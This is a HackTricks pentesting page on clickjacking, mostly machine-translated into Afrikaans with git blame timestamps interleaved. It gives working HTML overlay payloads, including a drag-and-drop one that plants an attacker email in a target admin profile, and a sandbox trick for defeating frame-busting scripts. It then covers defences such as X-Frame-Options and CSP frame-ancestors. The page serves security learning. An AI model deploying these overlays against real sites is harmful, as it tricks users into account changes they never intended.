hacktricks/pentesting-web/clickjacking.md

230 lines
12 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) om maklik te bou en **outomatiese werksvloei** te skep wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
Kry Toegang Vandag:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-11 02:07:06 +00:00
## Wat is Clickjacking
In 'n clickjacking aanval, word 'n **gebruiker** **mislei** om op 'n **element** op 'n webblad te **klik** wat ofwel **on sigbaar** is of as 'n ander element vermom is. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, herleiding na kwaadwillige webbladsye, verskaffing van geloofsbriewe of sensitiewe inligting, geld oordragte, of die aanlyn aankoop van produkte.
### Voorafgevulde vorm truuk
Soms is dit moontlik om die **waarde van velde van 'n vorm te vul met GET parameters wanneer 'n bladsy gelaai word**. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met arbitrêre data te vul en die clickjacking payload te stuur sodat die gebruiker die knoppie Indien druk.
2020-10-13 11:29:54 +00:00
### Vul vorm met Sleep\&Plaas
2020-10-13 11:29:54 +00:00
As jy wil hê dat die gebruiker 'n **vorm** moet **vul** maar jy wil nie direk vra dat hy spesifieke inligting (soos die e-pos en of spesifieke wagwoord wat jy ken) skryf nie, kan jy hom net vra om iets te **Sleep\&Plaas** wat jou beheerde data sal skryf soos in [**hierdie voorbeeld**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Basiese Payload
```markup
<style>
2024-02-11 02:07:06 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Meervoudige Stap Laai
```markup
<style>
2024-02-11 02:07:06 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Sleep\&Drop + Klik payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
As jy 'n **XSS-aanval geïdentifiseer het wat 'n gebruiker vereis om op 'n element te klik** om die XSS te **aktiveer** en die bladsy is **kwulnerabel vir clickjacking**, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.\
Voorbeeld:\
_Jy het 'n **self XSS** in sommige privaat besonderhede van die rekening gevind (besonderhede wat **slegs jy kan stel en lees**). Die bladsy met die **vorm** om hierdie besonderhede te stel is **kwulnerabel** vir **Clickjacking** en jy kan die **vorm** met die GET parameters **vooraf vul**._\
\_\_n Aanvaller kan 'n **Clickjacking** aanval voorberei op daardie bladsy deur die **vorm** met die **XSS payload** te **vooraf vul** en die **gebruiker** te **mislei** om die vorm te **indien**. So, **wanneer die vorm ingedien word** en die waardes gewysig word, sal die **gebruiker die XSS uitvoer**.
## Strategies to Mitigate Clickjacking
### Client-Side Defenses
Scripts wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacking te voorkom:
* Verseker dat die toepassingsvenster die hoof- of boonste venster is.
2024-02-11 02:07:06 +00:00
* Maak alle rame sigbaar.
* Voorkom kliks op onsigbare rame.
* Detecteer en waarsku gebruikers oor potensiële Clickjacking pogings.
However, these frame-busting scripts may be circumvented:
* **Browsers' Security Settings:** Sommige blaaiers mag hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
* **HTML5 iframe `sandbox` Attribute:** 'n Aanvaller kan raam-buster skripte neutraliseer deur die `sandbox` attribuut met `allow-forms` of `allow-scripts` waardes te stel sonder `allow-top-navigation`. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` en `allow-scripts` waardes stel aksies binne die iframe in staat terwyl top-niveau navigasie gedeaktiveer word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos `allow-same-origin` en `allow-modals` nodig wees, afhangende van die tipe aanval. Bladsy-konsol boodskappe kan lei oor watter toestemmings toegelaat moet word.
### Bediener-kant Verdedigings
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
Die **`X-Frame-Options` HTTP antwoordkop** informeer blaaiers oor die wettigheid van die weergawe van 'n bladsy in 'n `<frame>` of `<iframe>`, wat help om Clickjacking te voorkom:
* `X-Frame-Options: deny` - Geen domein kan die inhoud raam.
* `X-Frame-Options: sameorigin` - Slegs die huidige webwerf kan die inhoud raam.
* `X-Frame-Options: allow-from https://trusted.com` - Slegs die gespesifiseerde 'uri' kan die bladsy raam.
* Let op die beperkings: as die blaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaiers verkies die CSP frame-ancestors riglyn.
#### Inhoudsekuriteitsbeleid (CSP) frame-ancestors riglyn
**`frame-ancestors` riglyn in CSP** is die aanbevole metode vir Clickjacking beskerming:
* `frame-ancestors 'none'` - Soortgelyk aan `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Soortgelyk aan `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Soortgelyk aan `X-Frame-Options: allow-from`.
Byvoorbeeld, die volgende CSP laat slegs raamwerk toe vanaf dieselfde domein:
`Content-Security-Policy: frame-ancestors 'self';`
Verder besonderhede en komplekse voorbeelde kan gevind word in die [frame-ancestors CSP dokumentasie](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) en [Mozilla se CSP frame-ancestors dokumentasie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
### Inhoudsekuriteitsbeleid (CSP) met `child-src` en `frame-src`
2024-02-06 03:10:38 +00:00
**Inhoudsekuriteitsbeleid (CSP)** is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitaanvalle te voorkom deur te spesifiseer watter bronne die blaier moet toelaat om inhoud te laai.
2024-02-06 03:10:38 +00:00
#### `frame-src` Riglyn
* Definieer geldige bronne vir rame.
* Meer spesifiek as die `default-src` riglyn.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Hierdie beleid laat rame van dieselfde oorsprong (self) en https://trusted-website.com toe.
2024-02-06 03:10:38 +00:00
#### `child-src` Riglyn
* Ingevoerd in CSP vlak 2 om geldige bronne vir webwerkers en rame in te stel.
* Dien as 'n terugval vir frame-src en worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Hierdie beleid laat rame en werkers van dieselfde oorsprong (self) en https://trusted-website.com toe.
2024-02-06 03:10:38 +00:00
**Gebruiknotas:**
2024-02-06 03:10:38 +00:00
* Aftrekking: child-src word geleidelik verwyder ten gunste van frame-src en worker-src.
* Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As albei afwesig is, word default-src gebruik.
* Streng Bron Definisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.
2024-02-06 03:10:38 +00:00
#### JavaScript Raam-Breek Skripte
Alhoewel dit nie heeltemal foutloos is nie, kan JavaScript-gebaseerde raam-busting skripte gebruik word om te voorkom dat 'n webbladsy in 'n raam geplaas word. Voorbeeld:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-11 02:07:06 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Toepassing van Anti-CSRF Tokens
* **Token Validasie:** Gebruik anti-CSRF tokens in webtoepassings om te verseker dat statusveranderende versoeke doelbewus deur die gebruiker gemaak word en nie deur 'n Clickjacked bladsy nie.
2024-02-11 02:07:06 +00:00
## Verwysings
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
Kry Toegang Vandag:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Ondersteun HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}